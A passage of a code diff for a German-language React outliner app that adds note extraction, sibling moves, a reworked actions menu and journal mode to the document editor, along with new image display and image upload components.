+      .catch((err: any) => showNotice(err?.message || 'Ausgelagerte Notiz konnte nicht entfernt werden'));
+  }, [onDocRemoved, showNotice]);
   useEffect(() => () => {
     if (noticeTimerRef.current !== null) window.clearTimeout(noticeTimerRef.current);
   }, []);
@@ -394,7 +556,9 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
   const handleUndo = useCallback(() => {
     const res = engineRef.current?.undo();
     if (res?.message) showNotice(res.message);
-  }, [showNotice]);
+    if (res?.ok) finishUndoExtract();
+  }, [showNotice, finishUndoExtract]);
+
   const handleRedo = useCallback(() => {
     const res = engineRef.current?.redo();
     if (res?.message) showNotice(res.message);
@@ -420,6 +584,38 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
     []
   );
 
+  // A bullet with its children becomes a note of its own. The server only creates the note; the branch
+  // is replaced here as an ordinary own edit, so it shows at once, syncs like typing and Strg+Z works.
+  const handleExtractBlock = useCallback(
+    async (blockId: string) => {
+      const engine = engineRef.current;
+      if (!engine) return;
+      try {
+        await engine.syncNow(); // the server reads the branch as typed so far
+        const { document: created, link } = await api.extractBranch(docId, blockId, engine.clientId);
+        // The focused field keeps its own text while typing; leave it so it shows the link
+        (document.activeElement as HTMLElement | null)?.blur?.();
+        const prev = currentBlocksRef.current;
+        const i = prev.findIndex((b) => b.id === blockId);
+        if (i >= 0) {
+          const level = prev[i].level || 0;
+          let end = i + 1;
+          while (end < prev.length && (prev[end].level || 0) > level) end++;
+          applyLocalBlocks([...prev.slice(0, i), { ...prev[i], content: link }, ...prev.slice(end)]);
+        }
+        lastExtractRef.current = { newDocId: created.id, blockId, link };
+        onDocCreated?.(created);
+        showNotice(`In eigene Notiz „${created.title}“ umgewandelt`, [
+          { label: 'Öffnen', run: () => onOpenDocBlock?.(created.id) },
+          { label: 'Rückgängig', run: () => handleUndo() },
+        ]);
+      } catch (err: any) {
+        showNotice(err?.message || 'Umwandeln fehlgeschlagen');
+      }
+    },
+    [docId, onOpenDocBlock, onDocCreated, showNotice, handleUndo, applyLocalBlocks]
+  );
+
   // Keep parent sidebar metadata in sync when blocks/tags change
   useEffect(() => {
     if (!docRef.current) return;
@@ -509,6 +705,16 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
     [docId, canEdit, applyLocalBlocks]
   );
 
+  // Swaps a bullet (with its children) with the previous or next one on the same level, within the same
+  // parent. By id, not by index, so it also works while zoomed into a branch (the tree then sees a slice).
+  const handleMoveSibling = useCallback(
+    (blockId: string, direction: -1 | 1) => {
+      if (!canEdit) return;
+      applyLocalBlocks((prev) => moveSibling(prev, blockId, direction));
+    },
+    [canEdit, applyLocalBlocks]
+  );
+
   const handleMoveBlock = useCallback(
     (blockId: string, targetIndex: number, newLevel?: number) => {
       if (!canEdit) return;
@@ -605,6 +811,8 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
         lines.push(`${indent}- \`\`\`${b.lang || ''}\n${b.content}\n${indent}  \`\`\``);
       } else if (b.type === 'divider') {
         lines.push(`${indent}- ---`);
+      } else if (b.type === 'numbered') {
+        lines.push(`${indent}1. ${b.content}`);
       } else {
         lines.push(`${indent}- ${b.content}`);
       }
@@ -644,24 +852,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
     );
   }
 
-  return (
-    <div className="flex-1 flex flex-col h-full min-h-0 bg-canvas overflow-y-auto" data-sync-channel={engineState?.channel}>
-      {/* Top Document Action Bar */}
-      <div className="sticky top-0 z-20 flex flex-wrap items-center justify-between gap-2 px-4 sm:px-6 py-2 bg-canvas border-b border-border">
-        <div className="flex items-center gap-2 min-w-0">
-          {onBackMobile && (
-            <button
-              type="button"
-              onClick={onBackMobile}
-              className="lg:hidden btn-icon"
-              title="Zurück zur Seitenleiste"
-            >
-              <ArrowLeft className="w-3.5 h-3.5" />
-            </button>
-          )}
-
-          {/* Breadcrumbs Navigation (Fokus-Modus) or Doc Indicator */}
-          {zoomedBlock && breadcrumbs.length > 0 ? (
+  const breadcrumbNav = (
     <nav
       aria-label="Breadcrumb Navigation"
       className="flex items-center flex-wrap gap-1 text-xs text-muted"
@@ -704,8 +895,189 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
         );
       })}
     </nav>
+  );
+
+  // Undo/redo, share and the menu; on large screens they sit in the workspace tab bar instead
+  const actionsBlock = (
+    <div className="flex shrink-0 items-center gap-1.5">
+      {!inTrash && (
+        <>
+          <button
+            type="button"
+            onClick={handleUndo}
+            disabled={!canEdit || !engineState?.canUndo}
+            className="btn-icon h-11 w-11 sm:h-7 sm:w-7 disabled:opacity-40 disabled:cursor-not-allowed"
+            title="Rückgängig (Strg+Z)"
+            aria-label="Rückgängig (Strg+Z)"
+          >
+            <Undo2 className="w-3.5 h-3.5" />
+          </button>
+          <button
+            type="button"
+            onClick={handleRedo}
+            disabled={!canEdit || !engineState?.canRedo}
+            className="btn-icon h-11 w-11 sm:h-7 sm:w-7 disabled:opacity-40 disabled:cursor-not-allowed"
+            title="Wiederholen (Strg+Y)"
+            aria-label="Wiederholen (Strg+Y)"
+          >
+            <Redo2 className="w-3.5 h-3.5" />
+          </button>
+        </>
+      )}
+
+      {doc && !inTrash && (
+        <button
+          type="button"
+          onClick={() => onOpenShareModal(doc)}
+          className="btn-icon h-11 w-11 sm:h-7 sm:w-7"
+          title="Notiz teilen und Berechtigungen"
+          aria-label="Notiz teilen und Berechtigungen"
+        >
+          <Users className="w-3.5 h-3.5" />
+        </button>
+      )}
+
+      <div className="relative" ref={actionsMenuRef}>
+        <button
+          type="button"
+          onClick={() => setShowActionsMenu((prev) => !prev)}
+          aria-expanded={showActionsMenu}
+          aria-haspopup="menu"
+          aria-label="Weitere Aktionen"
+          title="Weitere Aktionen"
+          className="btn-icon h-11 w-11 sm:h-7 sm:w-7"
+        >
+          <MoreHorizontal className="w-3.5 h-3.5" />
+        </button>
+
+        {showActionsMenu && (
+          <div
+            role="menu"
+            className="absolute right-0 top-full mt-1.5 w-60 rounded-card bg-panel border border-border shadow-lg p-1 z-30 text-xs origin-top-right animate-in fade-in zoom-in-95 slide-in-from-top-1 duration-150"
+          >
+            {!inTrash && (
+              <button
+                type="button"
+                role="menuitem"
+                onClick={() => {
+                  setShowActionsMenu(false);
+                  void handleTogglePin();
+                }}
+                className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-panel-elevated text-left text-main font-medium flex items-center gap-2 transition-colors cursor-pointer"
+              >
+                <Pin
+                  className={`w-3.5 h-3.5 shrink-0 ${
+                    doc?.isPinned ? 'text-status-warn' : 'text-accent'
+                  }`}
+                />
+                <span>{doc?.isPinned ? 'Anheftung lösen' : 'Notiz anheften'}</span>
+              </button>
+            )}
+
+            {onRequestMerge && doc?.isOwner && !inTrash && (
+              <button
+                type="button"
+                role="menuitem"
+                onClick={() => {
+                  setShowActionsMenu(false);
+                  onRequestMerge(doc);
+                }}
+                className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-panel-elevated text-left text-main font-medium flex items-center gap-2 transition-colors cursor-pointer"
+              >
+                <GitMerge className="w-3.5 h-3.5 text-accent shrink-0" />
+                <span>Mit anderer Notiz zusammenführen…</span>
+              </button>
+            )}
+
+            {onToggleFocusMode && (
+              <button
+                type="button"
+                role="menuitem"
+                onClick={() => {
+                  setShowActionsMenu(false);
+                  onToggleFocusMode();
+                }}
+                className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-panel-elevated text-left text-main font-medium flex items-center gap-2 transition-colors cursor-pointer"
+              >
+                {focusMode ? (
+                  <Minimize2 className="w-3.5 h-3.5 text-accent shrink-0" />
                 ) : (
-            <div className="flex items-center gap-1.5 text-xs text-muted">
+                  <Maximize2 className="w-3.5 h-3.5 text-accent shrink-0" />
+                )}
+                <span className="flex-1">{focusMode ? 'Fokus-Modus beenden' : 'Fokus-Modus starten'}</span>
+                <kbd className="hidden sm:inline text-[10px] text-faint font-mono">Strg+⇧+F</kbd>
+              </button>
+            )}
+
+            <button
+              type="button"
+              role="menuitem"
+              onClick={() => {
+                setShowActionsMenu(false);
+                handleExportMarkdown();
+              }}
+              className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-panel-elevated text-left text-main font-medium flex items-center gap-2 transition-colors cursor-pointer"
+            >
+              <Download className="w-3.5 h-3.5 text-accent shrink-0" />
+              <span>Als Markdown (.md) exportieren</span>
+            </button>
+
+            {canEdit && (doc?.isOwner || doc?.permission === 'owner') && (
+              <>
+                <div className="my-1 border-t border-border" />
+                <button
+                  type="button"
+                  role="menuitem"
+                  onClick={() => {
+                    setShowActionsMenu(false);
+                    onDeleteDoc(docId);
+                  }}
+                  className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-status-err/10 text-left text-status-err font-medium flex items-center gap-2 transition-colors cursor-pointer"
+                >
+                  <Trash2 className="w-3.5 h-3.5 text-status-err shrink-0" />
+                  <span>Notiz löschen</span>
+                </button>
+              </>
+            )}
+          </div>
+        )}
+      </div>
+    </div>
+  );
+
+  return (
+    <div
+      ref={scrollRef}
+      className={inJournal ? 'flex flex-col bg-editor' : 'flex-1 flex flex-col h-full min-h-0 bg-editor overflow-y-auto'}
+      data-sync-channel={engineState?.channel}
+    >
+      {desktopBar && actionsTarget && createPortal(actionsBlock, actionsTarget)}
+
+      {/* Top Document Action Bar (the journal has one for all days; large screens use the tab bar) */}
+      {!inJournal && !desktopBar && (
+      <div className="sticky top-0 z-20 flex items-center justify-between gap-2 px-4 sm:px-6 py-2 bg-editor border-b border-border">
+        <div className="flex flex-1 items-center gap-2 min-w-0">
+          {onBackMobile && (
+            <button
+              type="button"
+              onClick={onBackMobile}
+              className="lg:hidden btn-icon shrink-0 h-11 w-11 sm:h-7 sm:w-7"
+              title="Zurück zur Seitenleiste"
+            >
+              <ArrowLeft className="w-3.5 h-3.5" />
+            </button>
+          )}
+
+          {/* Breadcrumbs Navigation (Fokus-Modus) or Doc Indicator */}
+          {zoomedBlock && breadcrumbs.length > 0 ? (
+            breadcrumbNav
+          ) : (
+            <div
+              className={`flex min-w-0 items-center gap-1.5 text-xs text-muted transition-opacity duration-200 ${
+                titleScrolledAway ? 'opacity-100' : 'opacity-0 pointer-events-none'
+              }`}
+              aria-hidden={!titleScrolledAway}
+            >
               <FileText className="w-3.5 h-3.5 text-accent shrink-0" />
               <span className="truncate max-w-[180px] font-medium text-main">
                 {title || doc?.title || 'Dokument'}
@@ -749,112 +1121,9 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
           )}
         </div>
 
-        {/* Right Action Buttons */}
-        <div className="flex items-center gap-1.5">
-          {/* How changes of others arrive (only relevant for shared notes) */}
-          {engineState && (engineState.shared || engineState.sessions > 1) && (
-            <span
-              className="hidden sm:inline-flex items-center gap-1 px-2 py-0.5 rounded-btn text-[11px] text-muted bg-panel border border-border"
-              title={
-                engineState.channel === 'ws'
-                  ? 'Live-Verbindung über WebSocket'
-                  : engineState.channel === 'sse'
-                  ? 'Live-Verbindung über Server-Sent Events (WebSocket wird blockiert)'
-                  : engineState.channel === 'longpoll'
-                  ? 'Live über Long-Polling (WebSocket und SSE werden blockiert)'
-                  : 'Keine Live-Verbindung möglich – Änderungen werden alle 3 Sekunden abgefragt'
-              }
-            >
-              <span
-                className={`w-1.5 h-1.5 rounded-full ${
-                  engineState.channel === 'interval' ? 'bg-status-warn' : 'bg-status-ok'
-                }`}
-              />
-              {engineState.channel === 'longpoll' ? 'Live (Long-Polling)' : engineState.channel === 'interval' ? 'Abgleich alle 3 s' : 'Live'}
-            </span>
-          )}
-
-          {/* Who else has this note open */}
-          <PresenceAvatars people={otherPeople} avatars={avatarsById} />
-          {/* Sharing Section */}
-          {doc && !inTrash && (() => {
-            const isOwner = doc.isOwner !== false && (doc.userId === currentUser?.id || !doc.userId || currentUser?.role === 'admin');
-            const sharesCount = doc.sharedWith?.length || 0;
-            const isShared = sharesCount > 0 || !isOwner || Boolean(doc.sharedFolderId);
-            const ownerDisplayName = doc.ownerName || 'Eigentümer';
-
-            return (
-              <div className="flex items-center gap-1.5">
-                {isShared && (
-                  isOwner ? (
-                    <button
-                      type="button"
-                      onClick={() => onOpenShareModal(doc)}
-                      className="px-2 py-0.5 rounded text-[10px] font-semibold bg-accent/15 text-accent border border-accent/30 flex items-center gap-1 hover:bg-accent/25 hover:border-accent/50 transition-colors cursor-pointer"
-                      title="Teilen-Menü öffnen: Geteilt mit Nutzern/Gruppen anzeigen & verwalten"
-                    >
-                      <Users className="w-2.5 h-2.5" />
-                      <span>Geteilt{sharesCount > 0 ? ` (${sharesCount})` : ''}</span>
-                    </button>
-                  ) : (
-                    <button
-                      type="button"
-                      onClick={() => onOpenShareModal(doc)}
-                      className="px-2 py-0.5 rounded text-[10px] font-medium border border-border text-muted flex items-center gap-1 bg-surface-subtle hover:bg-panel-elevated hover:text-main transition-colors cursor-pointer"
-                      title="Teilen & Berechtigungen öffnen"
-                    >
-                      <Users className="w-2.5 h-2.5" />
-                      <span>Geteilt von {ownerDisplayName}</span>
-                    </button>
-                  )
-                )}
-
-                <button
-                  type="button"
-                  onClick={() => onOpenShareModal(doc)}
-                  className="btn-icon"
-                  title="Notiz teilen und Berechtigungen"
-                >
-                  <Users className="w-3.5 h-3.5" />
-                </button>
+        {!desktopBar && actionsBlock}
       </div>
-            );
-          })()}
-
-          {!inTrash && <button
-            type="button"
-            onClick={handleTogglePin}
-            className={`btn-icon ${
-              doc?.isPinned
-                ? 'text-status-warn bg-status-warn/10 border-status-warn/30'
-                : ''
-            }`}
-            title={doc?.isPinned ? 'Anheftung lösen' : 'Notiz anheften'}
-          >
-            <Pin className="w-3.5 h-3.5" />
-          </button>}
-
-          <button
-            type="button"
-            onClick={handleExportMarkdown}
-            className="btn-icon"
-            title="Als Markdown (.md) exportieren"
-          >
-            <Download className="w-3.5 h-3.5" />
-          </button>
-
-          {canEdit && (doc?.isOwner || doc?.permission === 'owner') && (
-            <button
-              type="button"
-              onClick={() => onDeleteDoc(docId)}
-              className="btn-icon-danger"
-              title="Notiz löschen"
-            >
-              <Trash2 className="w-3.5 h-3.5" />
-            </button>
       )}
-        </div>
-      </div>
 
       {/* In the trash: read-only with a way back */}
       {inTrash && (
@@ -883,7 +1152,14 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
       )}
 
       {/* Main Content Area */}
-      <div className="w-full px-4 sm:px-8 py-5 flex-1">
+      {/* Phones: almost no side margin; very deep outlines scroll sideways (rows keep a minimum width) */}
+      {/* shrink-0: the sideways scroll area must keep its full height, so only the editor scrolls vertically */}
+      <div
+        className={`w-full pl-2 pr-1 sm:px-8 flex-auto shrink-0 overflow-x-auto sm:overflow-x-visible [-webkit-overflow-scrolling:touch] ${
+          inJournal ? 'py-3' : 'py-5'
+        } ${focusMode ? 'max-w-3xl mx-auto' : ''}`}
+      >
+        {desktopBar && zoomedBlock && breadcrumbs.length > 0 && <div className="mb-3">{breadcrumbNav}</div>}
         {zoomedBlock ? (
           /* =========================================================================
              FOKUS-MODUS & ZOOM-IN (HOISTED SUBTREE VIEW)
@@ -922,7 +1198,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
                   }}
                   placeholder="Ast-Titel…"
                   readOnly={!canEdit}
-                  className="w-full text-2xl sm:text-3xl font-extrabold text-main bg-transparent border-0 focus:outline-none focus:ring-0 tracking-tight leading-tight"
+                  className="w-full text-2xl sm:text-3xl font-light text-main bg-transparent border-0 focus:outline-none focus:ring-0 tracking-tight leading-tight"
                 />
               </div>
 
@@ -963,20 +1239,24 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
               </div>
             ) : (
               <OutlinerTree
+                compact={inJournal}
                 docId={docId}
                 blocks={childBlocks}
                 canEdit={canEdit}
                 levelOffset={levelOffset}
                 onZoomBlock={setZoomedBlockId}
+                onExtractBlock={canEdit ? handleExtractBlock : undefined}
                 onUpdateBlock={handleUpdateBlock}
                 onUpdateBlocks={handleUpdateBlocks}
                 onCreateBlock={handleCreateBlock}
                 onInsertBlocks={handleInsertBlocks}
                 onDeleteBlock={handleDeleteBlock}
                 onMoveBlock={handleMoveBlock}
+                onMoveSibling={handleMoveSibling}
                 onOpenTask={onOpenTask}
                 onTagClick={onSelectTag}
                 onWikiLinkClick={onWikiLinkClick}
+                onCopyBlockLink={handleCopyBlockLink}
                 initialFocusedBlockId={initialFocusedBlockId}
                 onFocusedBlockChange={(id) => engineRef.current?.focusBlock(id)}
                 lockedBlocks={lockedBlocks}
@@ -997,11 +1277,18 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
               <div className="relative">
                 <button
                   type="button"
-                  onClick={() => canEdit && setShowEmojiPicker((prev) => !prev)}
-                  className="text-2xl sm:text-3xl hover:opacity-80 transition-opacity cursor-pointer select-none leading-none bg-transparent border-0 outline-none p-0 focus:outline-none focus:ring-0 shadow-none"
-                  title="Icon ändern"
+                  onClick={() => canEdit && !inJournal && setShowEmojiPicker((prev) => !prev)}
+                  className={`text-2xl sm:text-3xl transition-opacity select-none leading-none bg-transparent border-0 outline-none p-0 focus:outline-none focus:ring-0 shadow-none ${
+                    inJournal ? 'cursor-default' : 'hover:opacity-80 cursor-pointer'
+                  }`}
+                  title={inJournal ? undefined : 'Icon ändern'}
                 >
-                  {doc?.icon || '📝'}
+                  {/* Journal days: a quiet calendar in the theme's text colour instead of the colourful emoji */}
+                  {inJournal ? (
+                    <CalendarDays className="w-6 h-6 sm:w-7 sm:h-7 text-muted" strokeWidth={1.75} />
+                  ) : (
+                    doc?.icon || '📝'
+                  )}
                 </button>
                 {showEmojiPicker && canEdit && (
                   <EmojiPickerModal
@@ -1022,7 +1309,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
                 }}
                 rows={1}
                 value={title}
-                readOnly={!canEdit}
+                readOnly={!canEdit || inJournal}
                 autoFocus={autoFocusTitle}
                 onChange={(e) => {
                   handleTitleChange(e);
@@ -1043,27 +1330,31 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
                 }}
                 onBlur={handleTitleBlur}
                 placeholder="Titel der Notiz…"
-                className="flex-1 min-w-0 text-xl sm:text-2xl font-bold text-main bg-transparent border-0 focus:outline-none focus:ring-0 tracking-tight resize-none leading-snug whitespace-pre-wrap break-words [overflow-wrap:anywhere]"
+                className="flex-1 min-w-0 text-2xl sm:text-3xl font-light text-main bg-transparent border-0 focus:outline-none focus:ring-0 tracking-tight resize-none leading-snug whitespace-pre-wrap break-words [overflow-wrap:anywhere]"
               />
             </div>
 
             {/* Logseq Outliner Tree */}
             <OutlinerTree
+                compact={inJournal}
               ref={outlinerTreeRef}
               docId={docId}
               blocks={blocks}
               canEdit={canEdit}
               levelOffset={0}
               onZoomBlock={setZoomedBlockId}
+              onExtractBlock={canEdit ? handleExtractBlock : undefined}
               onUpdateBlock={handleUpdateBlock}
               onUpdateBlocks={handleUpdateBlocks}
               onCreateBlock={handleCreateBlock}
               onInsertBlocks={handleInsertBlocks}
               onDeleteBlock={handleDeleteBlock}
               onMoveBlock={handleMoveBlock}
+                onMoveSibling={handleMoveSibling}
               onOpenTask={onOpenTask}
               onTagClick={onSelectTag}
               onWikiLinkClick={onWikiLinkClick}
+              onCopyBlockLink={handleCopyBlockLink}
               initialFocusedBlockId={initialFocusedBlockId}
               onFocusedBlockChange={(id) => engineRef.current?.focusBlock(id)}
               lockedBlocks={lockedBlocks}
@@ -1073,7 +1364,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
               onRedo={handleRedo}
             />
 
-            {onOpenDocBlock && !inTrash && <BacklinksSection docId={docId} title={title} onOpen={onOpenDocBlock} />}
+            {onOpenDocBlock && !inTrash && !inJournal && <BacklinksSection docId={docId} title={title} onOpen={onOpenDocBlock} />}
           </>
         )}
       </div>
@@ -1081,9 +1372,28 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
       {notice && (
         <div
           role="status"
-          className="fixed bottom-6 left-1/2 -translate-x-1/2 z-50 max-w-[90vw] px-3 py-2 rounded-card text-xs text-main bg-panel-elevated border border-border shadow-panel"
+          className="fixed bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-6 left-1/2 -translate-x-1/2 z-50 w-[calc(100vw-1.5rem)] sm:w-auto sm:max-w-[90vw] flex flex-col sm:block pl-4 pr-1 pt-3 pb-1 sm:px-3 sm:py-2 rounded-card text-sm sm:text-xs text-main bg-panel-elevated border border-border shadow-panel"
         >
-          {notice}
+          {/* Phones: text on top (two lines at most), buttons below; desktop: one line */}
+          <span className="max-sm:pr-3 max-sm:line-clamp-2">{notice}</span>
+          {noticeActions.length > 0 && (
+            <span className="flex justify-end sm:inline">
+              {noticeActions.map((a) => (
+                <button
+                  key={a.label}
+                  type="button"
+                  onClick={() => {
+                    setNotice(null);
+                    setNoticeActions([]);
+                    a.run();
+                  }}
+                  className="h-11 px-3 sm:h-auto sm:px-0 sm:ml-3 font-semibold text-accent hover:underline"
+                >
+                  {a.label}
+                </button>
+              ))}
+            </span>
+          )}
         </div>
       )}
     </div>

frontend/src/features/workspace/ImageBlock.tsx

@@ -0,0 +1,116 @@
+import React, { useEffect, useState } from 'react';
+import { createPortal } from 'react-dom';
+import { ImageOff, Loader2, X } from 'lucide-react';
+import { mediaObjectURL, parseMediaContent } from '../../lib/media';
+
+interface ImageBlockProps {
+  content: string;
+  canEdit: boolean;
+  onCaptionChange: (caption: string) => void;
+}
+
+// Image block: the picture (click = full screen) and an optional caption below it.
+export const ImageBlock: React.FC<ImageBlockProps> = ({ content, canEdit, onCaptionChange }) => {
+  const ref = parseMediaContent(content);
+  const [src, setSrc] = useState<string | null>(null);
+  const [failed, setFailed] = useState(false);
+  const [zoomed, setZoomed] = useState(false);
+  const [caption, setCaption] = useState(ref?.caption || '');
+
+  useEffect(() => {
+    setCaption(ref?.caption || '');
+  }, [ref?.caption]);
+
+  const mediaId = ref?.id;
+  useEffect(() => {
+    if (!mediaId) return;
+    let alive = true;
+    setFailed(false);
+    mediaObjectURL(mediaId)
+      .then((u) => alive && setSrc(u))
+      .catch(() => alive && setFailed(true));
+    return () => {
+      alive = false;
+    };
+  }, [mediaId]);
+
+  useEffect(() => {
+    if (!zoomed) return;
+    const onKey = (e: KeyboardEvent) => e.key === 'Escape' && setZoomed(false);
+    window.addEventListener('keydown', onKey);
+    return () => window.removeEventListener('keydown', onKey);
+  }, [zoomed]);
+
+  if (!ref) {
+    return <div className="text-xs text-status-err py-1">Bild-Verweis ist beschädigt: {content}</div>;
+  }
+
+  const commitCaption = () => {
+    if (caption.trim() !== ref.caption) onCaptionChange(caption.trim());
+  };
+
+  return (
+    <figure className="my-1 space-y-1">
+      {failed ? (
+        <div className="flex items-center gap-2 h-24 px-3 rounded-card border border-border bg-panel text-xs text-muted">
+          <ImageOff className="w-4 h-4" /> Bild nicht verfügbar (offline oder gelöscht)
+        </div>
+      ) : src ? (
+        <button
+          type="button"
+          onClick={() => setZoomed(true)}
+          title="Vergrößern"
+          className="block max-w-full rounded-card overflow-hidden border border-border bg-panel cursor-zoom-in"
+        >
+          <img src={src} alt={ref.caption} className="block max-w-full max-h-[28rem] object-contain" />
+        </button>
+      ) : (
+        <div className="flex items-center justify-center w-48 h-32 rounded-card border border-border bg-panel">
+          <Loader2 className="w-4 h-4 animate-spin text-muted" />
+        </div>
+      )}
+
+      {canEdit ? (
+        <input
+          type="text"
+          value={caption}
+          onChange={(e) => setCaption(e.target.value)}
+          onBlur={commitCaption}
+          onKeyDown={(e) => {
+            if (e.key === 'Enter') {
+              e.preventDefault();
+              (e.target as HTMLInputElement).blur();
+            }
+          }}
+          placeholder="Beschriftung hinzufügen…"
+          className="w-full bg-transparent border-0 p-0 text-xs text-muted placeholder-faint focus:outline-none focus:ring-0"
+        />
+      ) : (
+        ref.caption && <figcaption className="text-xs text-muted">{ref.caption}</figcaption>
+      )}
+
+      {zoomed &&
+        src &&
+        createPortal(
+          <div
+            role="dialog"
+            aria-label={ref.caption || 'Bild'}
+            onClick={() => setZoomed(false)}
+            className="fixed inset-0 z-[100] bg-black/85 flex flex-col items-center justify-center p-4 cursor-zoom-out"
+          >
+            <button
+              type="button"
+              onClick={() => setZoomed(false)}
+              title="Schließen (Esc)"
+              className="absolute top-[calc(0.75rem+env(safe-area-inset-top))] right-3 w-11 h-11 flex items-center justify-center rounded-full bg-black/50 text-white"
+            >
+              <X className="w-5 h-5" />
+            </button>
+            <img src={src} alt={ref.caption} className="max-w-full max-h-[85vh] object-contain" />
+            {ref.caption && <p className="mt-3 text-sm text-white/90 text-center max-w-2xl">{ref.caption}</p>}
+          </div>,
+          document.body
+        )}
+    </figure>
+  );
+};

frontend/src/features/workspace/ImagePicker.tsx

@@ -0,0 +1,165 @@
+import React, { useEffect, useRef, useState } from 'react';
+import { Camera, ImagePlus, Link as LinkIcon, Loader2, X } from 'lucide-react';
+import { copyExternalImage, prepareImage, UploadedMedia, uploadMedia } from '../../lib/media';
+
+interface ImagePickerProps {
+  docId: string;
+  onDone: (media: UploadedMedia) => void;
+  onCancel: () => void;
+}
+
+// Inline box an empty bullet turns into after /image: pick a file (or the camera on phones), drop or
+// paste an image, or give a link the server copies. Nothing is synced until the upload succeeded.
+export const ImagePicker: React.FC<ImagePickerProps> = ({ docId, onDone, onCancel }) => {
+  const [busy, setBusy] = useState(false);
+  const [error, setError] = useState<string | null>(null);
+  const [dragOver, setDragOver] = useState(false);
+  const [url, setUrl] = useState('');
+  const fileRef = useRef<HTMLInputElement>(null);
+  const cameraRef = useRef<HTMLInputElement>(null);
+  const boxRef = useRef<HTMLDivElement>(null);
+
+  useEffect(() => {
+    boxRef.current?.focus();
+  }, []);
+
+  const uploadFile = async (file: File | Blob | null | undefined) => {
+    if (!file || busy) return;
+    if (file.type && !file.type.startsWith('image/')) {
+      setError('Bitte eine Bilddatei wählen');
+      return;
+    }
+    setBusy(true);
+    setError(null);
+    try {
+      const { blob, name } = await prepareImage(file);
+      onDone(await uploadMedia(docId, blob, name));
+    } catch (err: any) {
+      setError(err?.message || 'Hochladen fehlgeschlagen');
+      setBusy(false);
+    }
+  };
+
+  const copyLink = async (e?: React.FormEvent) => {
+    e?.preventDefault();
+    const target = url.trim();
+    if (!target || busy) return;
+    setBusy(true);
+    setError(null);
+    try {
+      onDone(await copyExternalImage(docId, target));
+    } catch (err: any) {
+      setError(err?.message || 'Bild konnte nicht übernommen werden');
+      setBusy(false);
+    }
+  };
+
+  return (
+    <div
+      ref={boxRef}
+      tabIndex={-1}
+      onKeyDown={(e) => {
+        if (e.key === 'Escape') {
+          e.preventDefault();
+          onCancel();
+        }
+      }}
+      onPaste={(e) => {
+        const item = Array.from(e.clipboardData.items).find((i) => i.type.startsWith('image/'));
+        if (item) {
+          e.preventDefault();
+          void uploadFile(item.getAsFile());
+        }
+      }}
+      onDragOver={(e) => {
+        e.preventDefault();
+        setDragOver(true);
+      }}
+      onDragLeave={() => setDragOver(false)}
+      onDrop={(e) => {
+        e.preventDefault();
+        setDragOver(false);
+        void uploadFile(e.dataTransfer.files?.[0]);
+      }}
+      className={
+        dragOver
+          ? 'my-1 p-3 rounded-card border-2 border-dashed border-accent bg-accent-dim space-y-3 focus:outline-none'
+          : 'my-1 p-3 rounded-card border-2 border-dashed border-border bg-panel space-y-3 focus:outline-none'
+      }
+    >
+      <div className="flex items-center justify-between gap-2">
+        <span className="text-xs font-semibold text-main flex items-center gap-1.5">
+          <ImagePlus className="w-4 h-4 text-accent" /> Bild einfügen
+        </span>
+        <button
+          type="button"
+          onClick={onCancel}
+          title="Abbrechen (Esc)"
+          className="w-11 h-11 sm:w-7 sm:h-7 flex items-center justify-center rounded-btn text-muted hover:text-main hover:bg-panel-elevated"
+        >
+          <X className="w-4 h-4" />
+        </button>
+      </div>
+
+      {busy ? (
+        <div className="flex items-center gap-2 text-xs text-muted py-3">
+          <Loader2 className="w-4 h-4 animate-spin text-accent" /> Wird hochgeladen…
+        </div>
+      ) : (
+        <>
+          <div className="flex flex-col sm:flex-row gap-2">
+            <button
+              type="button"
+              onClick={() => fileRef.current?.click()}
+              className="btn-primary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5"
+            >
+              <ImagePlus className="w-4 h-4" /> Datei wählen
+            </button>
+            <button
+              type="button"
+              onClick={() => cameraRef.current?.click()}
+              className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5 sm:hidden"
+            >
+              <Camera className="w-4 h-4" /> Foto aufnehmen
+            </button>
+            <span className="hidden sm:flex items-center text-[11px] text-faint">
+              oder hierher ziehen bzw. mit Strg+V einfügen
+            </span>
+          </div>
+          <form onSubmit={copyLink} className="flex gap-2">
+            <div className="relative flex-1 min-w-0">
+              <LinkIcon className="w-3.5 h-3.5 text-faint absolute left-2.5 top-1/2 -translate-y-1/2" />
+              <input
+                type="url"
+                inputMode="url"
+                value={url}
+                onChange={(e) => setUrl(e.target.value)}
+                placeholder="https://… Bild-Link"
+                className="w-full h-11 sm:h-8 pl-8 pr-2 input-field text-xs"
+              />
+            </div>
+            <button
+              type="submit"
+              disabled={!url.trim()}
+              className="btn-secondary h-11 sm:h-8 px-3 text-xs shrink-0 disabled:opacity-40"
+            >
+              Übernehmen
+            </button>
+          </form>
+        </>
+      )}
+
+      {error && <p className="text-xs text-status-err">{error}</p>}
+
+      <input ref={fileRef} type="file" accept="image/*" hidden onChange={(e) => void uploadFile(e.target.files?.[0])} />
+      <input
+        ref={cameraRef}
+        type="file"
+        accept="image/*"
+        capture="environment"
+        hidden
